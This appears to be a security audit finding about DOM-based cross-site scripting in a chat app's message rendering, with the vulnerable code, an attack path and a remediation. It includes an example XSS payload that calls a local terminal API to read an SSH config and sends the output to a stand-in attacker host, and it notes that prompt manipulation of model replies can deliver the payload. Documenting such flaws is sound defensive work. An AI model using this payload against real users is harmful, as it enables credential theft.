T09 · Insecure Skill Coding Practices
Error
- Location
- assets/voice-chat-local/public/app.js:61
- Finding
- DOM-Based Cross-Site Scripting in Chat Message Rendering<![CDATA[ ## Vulnerability Details **File Location**: `assets/voice-chat-local/public/app.js:61-66` **Vulnerability Type**: DOM-based cross-site scripting through unsafe HTML insertion **Risk Level**: High ### Vulnerable Code ```javascript function renderMessage(role, content) { const item = document.createElement('article'); item.className = `message ${role}`; item.innerHTML = `<span class="role">${role === 'user' ? '你' : '宁姚'}</span><div>${content}</div>`; messagesNode.appendChild(item); item.scrollIntoView({ behavior: 'smooth', block: 'end' }); } ``` ### Technical Analysis The `content` parameter is inserted directly into `item.innerHTML` without HTML escaping or sanitization. The function is used to display both user-controlled messages and model-generated replies. Because model output can be influenced by prompts and may also originate from a configurable OpenAI-compatible endpoint, it must be treated as untrusted. If `content` contains active HTML such as an element with an event handler, the browser parses it as markup rather than displaying it as text. An attacker or compromised model endpoint could therefore return content such as: ```html <img src=x onerror="fetch('/api/terminal',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({command:'type C:\\Users\\victim\\.ssh\\config'})}).then(r=>r.text()).then(x=>fetch('https://attacker.example/collect',{method:'POST',body:x}))"> ``` The exact exfiltration request may be constrained by browser networking policy, but the injected script still executes with the local application's origin and can issue and read same-origin API requests. ### Attack Path 1. The victim opens the local voice-chat interface. 2. The attacker influences a model reply through prompt manipulation, a malicious compatible API endpoint, or compromised upstream output. 3. The response contains attacker-supplied HTML with an executable event handler. 4. `sendMessage()` passes the returned `dat ...[truncated 1080 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions Do not use `innerHTML` for untrusted chat content. Build the message using DOM APIs and assign all untrusted values through `textContent`: ```javascript function renderMessage(role, content) { const item = document.createElement('article'); item.className = `message ${role}`; const roleNode = document.createElement('span'); roleNode.className = 'role'; roleNode.textContent = role === 'user' ? 'You' : 'Ningyao'; const contentNode = document.createElement('div'); contentNode.textContent = String(content); item.append(roleNode, contentNode); messagesNode.appendChild(item); item.scrollIntoView({ behavior: 'smooth', block: 'end' }); } ``` If formatted model output is required, process it with a maintained Markdown renderer configured to reject raw HTML, or sanitize the resulting HTML with a strict allowlist sanitizer such as DOMPurify. Also deploy a restrictive Content Security Policy, for example: ```http Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'none' ``` Do not rely on Content Security Policy as a replacement for correct output encoding. ]]>
